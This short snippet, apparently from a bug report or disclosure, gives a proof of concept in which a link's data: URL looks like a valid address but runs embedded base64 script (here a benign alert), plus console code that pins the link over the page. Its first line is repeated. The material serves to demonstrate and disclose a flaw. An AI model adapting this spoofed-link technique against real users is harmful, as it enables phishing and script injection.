<a href="data:text/html,valid_looking_url <script src=data:text/html;base64,YWxlcnQoMTIzKQ==></script>">clickme</a> Or if you want to reproduce it console:

<a href="data:text/html,valid_looking_url <script src=data:text/html;base64,YWxlcnQoMTIzKQ==></script>">clickme</a> Or if you want to reproduce it console: a = document.createElement('a'); a.href = 'data:text/html,valid_looking_url <script src=data:text/html;base64,YWxlcnQoMTIzKQ==></script>'; a.textContent = 'clickme'; a.style.position = 'fixed'; a.style.left = 0; a.style.top = 0; a.style.zIndex = 9999; document.body.appendChild(a); The "valid_looking_url" will appear in document but it can be hidden from page by script or made transparent using css